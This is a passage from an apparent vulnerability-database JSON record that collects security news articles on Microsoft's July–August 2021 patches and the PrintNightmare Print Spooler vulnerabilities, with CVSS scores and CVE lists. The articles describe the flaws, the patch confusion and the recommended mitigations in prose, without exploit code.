Networks](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11180&cat=SIRT_1&actp=LIST>)\n * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-July/thread.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-14T05:03:00", "type": "thn", "title": "Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34466", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34494", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-17T11:52:45", "id": "THN:9FD8A70F9C17C3AF089A104965E48C95", "href": "https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2021-07-14T12:38:34", "description": "Last week we wrote about [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>), a vulnerability that was supposed to be patched but wasn't. After June's Patch Tuesday, researchers found that the patch did not work in every case, most notably on modern domain controllers. Yesterday, Microsoft issued a set of out-of-band patches that sets that aims to set that right by fixing the Windows Print Spooler Remote Code Execution vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n### Serious problem\n\nFor Microsoft to publish an out-of-band patch a week before July's Patch Tuesday shows just how serious the problem is.\n\nPrintNightmare allows a standard user on a Windows network to execute arbitrary code on an affected machine, and to elevate their privileges as far as domain admin, by feeding a vulnerable machine a malicious printer driver. The problem was exacerbated by confusion around whether PrintNightmare was a known, patched problem or an entirely new problem. In the event it turned out to be a bit of both.\n\nLast week the Cybersecurity and Infrastructure Security Agency (CISA) urged administrators to [disable the Windows Print Spooler service](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) in domain controllers and systems that don't print.\n\nHowever, the installation of the Domain Controller (DC) role adds a thread to the spooler service that is responsible for removing stale print queue objects. If the spooler service is not running on at least one domain controller in each site, then Active Directory has no means to remove old queues that no longer exist.\n\nSo, many organizations were forced to keep the Print Spooler service enabled on some domain controllers, leaving them at risk to attacks using this vulnerability.\n\n### Set of patches\n\nDepending on the Windows version the patch will be offered as:\n\n * [KB5004945](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 2004, version 20H1, and version 21H1\n * [KB5004946](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004946-os-build-18363-1646-out-of-band-18c5ffac-6015-4b3a-ba53-a73c3d3ed505>) for Windows 10 version 1909\n * [KB5004947](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 1809 and Windows Server 2019\n * KB5004949 for Windows 10 version 1803 which is not available yet\n * [KB5004950](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004950-os-build-10240-18969-out-of-band-7f900b36-b3cb-4f5e-8eca-107cc0d91c50>) for Windows 10 version 1507\n * Older Windows versions (Windows 7 SP1, Windows 8.1 Server 2008 SP2, Windows Server 2008 R2 SP1, and Windows Server 2012 R2) will receive a security update that disallows users who are not administrators to install only signed print drivers to a print server.\n\nSecurity updates have not yet been released for Windows 10 version 1607, Windows Server 2016, or Windows Server 2012, but they will also be released soon, according to Microsoft.\n\nThe updates are cumulative and contain all previous fixes as well as protections for [CVE-2021-1675](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675>).\n\n### Not a complete fix\n\nIt is important to note that these patches and updates **only tackle the remote code execution (RCE) part** of the vulnerability. Several researchers have confirmed that the local privilege escalation (LPE) vector still works. This means that threat actors and already active malware can still locally exploit the vulnerability to gain SYSTEM privileges.\n\n### Advice\n\nMicrosoft recommends that you install this update immediately on all supported Windows client and server operating systems, starting with devices that currently host the print server role. You also have the option to configure the `RestrictDriverInstallationToAdministrators` registry setting to prevent non-administrators from installing signed printer drivers on a print server. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n> \u201cThe attack vector and protections in CVE-2021-34527 reside in the code path that installs a printer driver to a Server. The workflow used to install a printer driver from a trusted print server on a client computer uses a different path. In summary, protections in CVE-2021-34527 including the RestrictDriverInstallationToAdministrators registry key do not impact this scenario.\u201d\n\nCISA encourages users and administrators to review the Microsoft Security Updates as well as CERT/CC Vulnerability Note [VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\n### Impact of the updates\n\nSo, the vulnerability lies in the normal procedure that allows users to install a printer driver on a server. A printer driver is in essence an executable like any other. And allowing users to install an executable of their choice is asking for problems. Especially combined with a privilege escalation vulnerability that anyone can use to act with SYSTEM privileges. The updates, patches, and some of the workarounds are all designed to limit the possible executables since they need to be signed printer drivers.\n\nFor a detailed and insightful diagram that shows GPO settings and registry keys administrators can check whether their systems are vulnerable, have a look at this flow chart diagram, courtesy of [Will Dormann](<https://twitter.com/wdormann>).\n\n> This is my current understanding of the [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) exploitability flowchart. \nThere's a small disagreement between me and MSRC at the moment about UpdatePromptSettings vs. NoWarningNoElevationOnUpdate, but I think it doesn't matter much as I just have both for now. [pic.twitter.com/huIghjwTFq](<https://t.co/huIghjwTFq>)\n> \n> -- Will Dormann (@wdormann) [July 7, 2021](<https://twitter.com/wdormann/status/1412906574998392840?ref_src=twsrc%5Etfw>)\n\n### Information for users that applied 0patch\n\nIt is worth mentioning for the users that applied the PrintNightmare [micropatches by 0patch](<https://blog.0patch.com/2021/07/free-micropatches-for-printnightmare.html>) that according to 0patch it is better not to install the Microsoft patches. They posted on Twitter that the Microsoft patches that only fix the RCE part of the vulnerability disable the 0patch micropatch which fixes both the LPE and RCE parts of the vulnerability.\n\n> If you're using 0patch against PrintNightmare, DO NOT apply the July 6 Windows Update! Not only does it not fix the local attack vector but it also doesn't fix the remote vector. However, it changes localspl.dll, which makes our patches that DO fix the problem stop applying. <https://t.co/osoaxDVCoB>\n> \n> -- 0patch (@0patch) [July 7, 2021](<https://twitter.com/0patch/status/1412826130051174402?ref_src=twsrc%5Etfw>)\n\n### Update July 9, 2021\n\nOnly a little more than 12 hours after the release a researcher has found an exploit that works on a patched system under special circumstances. [Benjamin Delpy](<https://twitter.com/gentilkiwi?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1412771368534528001%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Farstechnica.com%2Fgadgets%2F2021%2F07%2Fmicrosofts-emergency-patch-fails-to-fix-critical-printnightmare-vulnerability%2F>) showed an exploit working against a Windows Server 2019 that had installed the out-of-band patch. In a demo Delpy shows that the update fails to fix vulnerable systems that use certain settings for a feature called [point and print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>), which makes it easier for network users to obtain the printer drivers they need.\n\nIn Microsoft's defense the advisory for [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) contains a note in the FAQ stating that:\n\n> Point and Print is not directly related to this vulnerability, but certain configurations make systems vulnerable to exploitation.\n\n### Update July 14, 2021\n\nThe Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. \n\nCISA has determined that this vulnerability poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action. The actions CISA lists are required actions for the agencies. The determination that these actions are necessary is based on the current exploitation of this vulnerability by threat actors in the wild, the likelihood of further exploitation of the vulnerability, the prevalence of the affected software in the federal enterprise, and the high potential for a compromise of agency information systems. Exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nThe post [UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T14:17:31", "type": "malwarebytes", "title": "UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T14:17:31", "id": "MALWAREBYTES:DB34937B6474073D9444648D34438225", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T08:32:20", "description": "In a rush to be the first to publish a proof-of-concept (PoC), researchers have published a write-up and a demo exploit to demonstrate a vulnerability that has been dubbed PrintNightmare. Only to find out they had alerted the world to a new 0-day vulnerability by accident.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nAs per [usual](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/06/microsoft-fixes-seven-zero-days-including-two-puzzlemaker-targets-google-fixes-serious-android-flaw/>), the general advice was to install the patches from Microsoft and you\u2019re done. Fast forward another week and a researcher announced he'd found a way to exploit the vulnerability to achieve both local privilege escalation and remote code execution. This actually happens a lot when researchers reverse engineer a patch.\n\nOnly in this case it had an unexpected consequence. A different team of researchers had also found an RCE vulnerability in the Print Spooler service. They called theirs PrintNightmare and believed it was the same as CVE-2021-1675. They were working on a presentation to be held at the Black Hat security conference. But now they feared that the other team had stumbled over the same vulnerability, so they published their work, believing it was covered by the patch already released by Microsoft.\n\nBut the patch for CVE-2021-1675 didn't seem to work against the PrintNightmare vulnerability. It appeared that PrintNightmare and CVE-2021-1675 were in fact two very similar but different vulnerabilities in the Print Spooler.\n\nAnd with that, it looked as if the PrintNightmare team had, unwittingly, disclosed a new 0-day vulnerability irresponsibly. (Disclosure of vulnerabilities is considered responsible if a vendor is given enough time to issue a patch.)\n\nSince then, some security researchers have argued that CVE-2021-1675 and PrintNightmare are the same, and others have reported that the CVE-2021-1675 patch works on _some_ systems.\n\n> [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) / CVE-2021-1675 - It appears patches might be effective on systems that are not domain controllers. RpcAddPrinterDriverEx call as non-admin fails with access denied against fully patched Server 2016 and 2019 non-DC, but after dcpromo the exploit works again. \n [pic.twitter.com/USetUXUzXN](<https://t.co/USetUXUzXN>)\n> \n> -- Stan Hegt (@StanHacked) [July 1, 2021](<https://twitter.com/StanHacked/status/1410405688766042115?ref_src=twsrc%5Etfw>)\n\nWhether they are the same or not, what is not in doubt is that there are live Windows systems where PrintNightmare cannot be patched. And unfortunately, it seems that the systems where the patch doesn't work are Windows Domain Controllers, which is very much the worst case scenario. \n\n### PrintNightmare\n\nThe Print Spooler service is embedded in the Windows operating system and manages the printing process. It is running by default on most Windows machines, including Active Directory servers.\n\nIt handles preliminary functions of finding and loading the print driver, creating print jobs, and then ultimately printing. This service has been around \u201cforever\u201d and it has been a fruitful hunting ground for vulnerabilities, with many flaws being found and fixed over the years. Remember [Stuxnet](<https://blog.malwarebytes.com/threat-analysis/2013/11/stuxnet-new-light-through-old-windows/>)? Stuxnet also exploited a vulnerability in the Print Spooler service as part of the set of vulnerabilities the worm used to spread.\n\nPrintNightmare can be triggered by an unprivileged user attempting to load a malicious driver remotely. Using the vulnerability, researchers have been able to gain SYSTEM privileges, and achieved remote code execution with the highest privileges on a fully patched system.\n\nTo exploit the flaw, attackers would first have to gain access to a network with a vulnerable machine. Although this provides some measure of protection, it is worth noting that there are underground markets where criminals can purchase this kind of access for a few dollars.\n\nIf they can secure any kind of access, they can potentially use PrintNightmare to turn a normal user into an all-powerful Domain Admin. As a Domain Admin they could then act almost with impunity, spreading ransomware, deleting backups and even disabling security software.\n\n### Mitigation\n\nConsidering the large number of machines that may be vulnerable to PrintNightmare, and that several methods to exploit the vulnerability have been published, it seems likely there will soon be malicious use-cases for this vulnerability.\n\nThere are a few things you can do until the vulnerability is patched. Microsoft will probably try to patch the vulnerability before next patch Tuesday (July 12), but until then you can:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the internet.\n\nI realize the above will not be easy or even feasible in every case. For those machines that need the Print Spooler service and also need to be accessible from outside the LAN, very carefully limit and [monitor](<https://support.malwarebytes.com/hc/en-us/articles/360056829274-Configure-Brute-Force-Protection-in-Malwarebytes-Nebula>) access events and permissions. Also at all costs avoid running the Print Spooler service on any domain controllers.\n\nFor further measures it is good to know that the exploit works by dropping a DLL in a subdirectory under C:\\Windows\\System32\\spool\\drivers, so system administrators can create a \u201cDeny to modify\u201d rule for that directory and its subdirectories so that even the SYSTEM account can not place a new DLL in them.\n\nThis remains a developing situation and we will update this article if more information becomes available.\n\n### Update July 2, 2021\n\nMicrosoft acknowledged this vulnerability and it has been assigned [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). In their description Microsoft also provides an extra workaround besides disabling the Print Spooler service.\n\n**Disable inbound remote printing through Group Policy**\n\nYou can also configure the settings via Group Policy as follows:\n\n * Computer Configuration / Administrative Templates / Printers\n * Disable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks.\n\n**Impact of workaround** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nThe post [PrintNightmare 0-day can be used to take over Windows domain controllers](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T14:08:26", "type": "malwarebytes", "title": "PrintNightmare 0-day can be used to take over Windows domain controllers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-01T14:08:26", "id": "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T12:35:46", "description": "I doubt if there has ever been a more appropriate nickname for a vulnerable service than PrintNightmare. There must be a whole host of people in Redmond having nightmares about the Windows Print Spooler service by now.\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a vulnerable machine a malicious printer driver. The problem was made worse by [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) around whether PrintNightmare was a known, patched problem or an entirely new problem. In the end it turned out to be a bit of both.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nIn a rush to be the first to publish a proof-of-concept (PoC), researchers published a write-up and a demo exploit to demonstrate the vulnerability. Only to find out they had alerted the world to a new 0-day vulnerability by accident. This vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) was introduced under the name PrintNightmare.\n\nOminously, the researchers behind PrintNightmare predicted that the Print Spooler, which has seen its fair share of problems in the past, would be a fertile ground for further discoveries.\n\nAt the beginning of July, Microsoft issued a set of out-of-band patches to fix this Windows Print Spooler RCE vulnerability. Soon enough, several researchers figured out that local privilege escalation (LPE) still worked. This means that threat actors and already active malware can still exploit the vulnerability to gain SYSTEM privileges. In a demo, [Benjamin Delpy](<https://twitter.com/gentilkiwi>) showed that the update failed to fix vulnerable systems that use certain settings for a feature called Point and Print, which makes it easier for network users to obtain the printer drivers they need.\n\nOn July 13 the Cybersecurity and Infrastructure Security Agency (CISA) issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it became aware of multiple threat actors exploiting PrintNightmare.\n\nAlso in July, [CrowdStrike](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) identified Magniber ransomware attempting to use a known PrintNightmare vulnerability to compromise victims.\n\n### An end to the nightmare?\n\nIn the August 10 [Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) update, the Print Spooler service was subject to _yet more_ patching, and Microsoft said that this time its patch should address all publicly documented security problems with the service.\n\nIn an unusual breaking change, one part of the update made admin rights required before using the Windows Point and Print feature.\n\n### Just one day later\n\nOn August 11, Microsoft released information about [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>), yet another 0-day that allows local attackers to gain SYSTEM privileges on a computer. Again, it was security researcher Benjamin Delpy who [demonstrated](<https://vimeo.com/581584478>) the vulnerability, showing that threat actors can still gain SYSTEM privileges simply by connecting to a remote print server.\n\n### Mitigation\n\nThe workaround offered by Microsoft is stopping and disabling the Print Spooler service, although at this point you may be seriously considering a revival of the paperless office idea. So:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the Internet.\n\nMicrosoft says it is investigating the vulnerability and working on (yet another) security update.\n\nLike I said [yesterday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>): To be continued.\n\nThe post [Microsoft's PrintNightmare continues, shrugs off Patch Tuesday fixes](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T11:30:26", "type": "malwarebytes", "title": "Microsoft\u2019s PrintNightmare continues, shrugs off Patch Tuesday fixes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T11:30:26", "id": "MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-11T14:38:54", "description": "The sheer number of patches (44 security vulnerabilities) should be enough to scare us, but unfortunately we have gotten used to those numbers. In fact, 44 is a low number compared to what we have seen on recent Patch Tuesdays. So what are the most notable vulnerabilities that were patched.\n\n * One actively exploited vulnerability\n * One vulnerability that has a CVSS score of 9.9 out of 10\n * And yet another attempt to fix PrintNightmare\n\nLet\u2019s go over these worst cases to get an idea of what we are up against.\n\n### CVEs\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\n### Actively exploited\n\n[CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>) is an [elevation of privilege (EoP)](<https://blog.malwarebytes.com/glossary/privilege-escalation/>) vulnerability in the Windows Update Medic Service. The Windows Update Medic Service is a background service that was introduced with Windows 10 and handles the updating process. Its only purpose is to repair the Windows Update service so that your PC can continue to receive updates unhindered. Besides on Windows 10 it also runs on Windows Server 2019. According to Microsoft CVE-2021-36948 is being actively exploited, but it is not aware of exploit code publicly available. [Reportedly](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>), the exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversaries toolbox. The bug is only locally exploitable, but local elevation of privilege is exactly what ransomware gangs will be looking to do after breaching a network, for example.\n\n### 9.9 out of 10\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is a [Remote Code Execution (RCE)](<https://blog.malwarebytes.com/glossary/remote-code-execution-rce-attack/>) vulnerability in Windows TCP/IP. This is remotely exploitable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCPIP packet to its host. This vulnerability exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\nThis vulnerability received a CVSS score of 9.9 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\n### 9.8 out of 10\n\nAnother high scorer is [CVE-2021-26432](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432>), an RCE in the Windows Services for NFS ONCRPC XDR Driver. Open Network Computing (ONC) Remote Procedure Call (RPC) is a remote procedure call system. ONC was originally developed by Sun Microsystems. The NFS protocol is independent of the type of operating system, network architecture, and transport protocols. The Windows service for the driver makes sure that Windows computers can use this protocol. This vulnerability got a high score because it is known to be easy to exploit and can be initiated remotely.\n\n### More RDP\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is an RCE in the Remote Desktop Client. Microsoft lists two exploit scenarios for this vulnerability:\n\n * In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n * In the case of Hyper-V, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer when a victim running on the host connects to the attacking Hyper-V guest.\n\nSince this is a client-side vulnerability, an attacker would have to convince a user to authenticate to a malicious RDP server, where the server could then trigger the bug on the client side. Combined with other RDP weaknesses however, this vulnerability would be easy to chain into a full system take-over.\n\n### Never-ending nightmare of PrintNightmare\n\nThe Print Spooler service was subject to yet more patching. The researchers behind PrintNightmare predicted that it would be a fertile ground for further discoveries, and they seem to be right. I\u2019d be tempted to advise Microsoft to start from scratch instead of patching patches on a very old chunk of code.\n\n[CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>) an RCE vulnerability in Windows Print Spooler. A vulnerability that was publicly disclosed, which may be related to several bugs in Print Spooler that were identified by researchers over the past few months (presumably PrintNightmare).\n\n[CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) are RCE vulnerabilities that could allow attackers to run arbitrary code with SYSTEM privileges.\n\nMicrosoft said the Print Spooler patch it pushed this time should address all publicly documented security problems with the service. In an unusual step, it has made a breaking change: \u201cToday we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges.\u201d\n\nTo be continued, we suspect.\n\nThe post [PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": 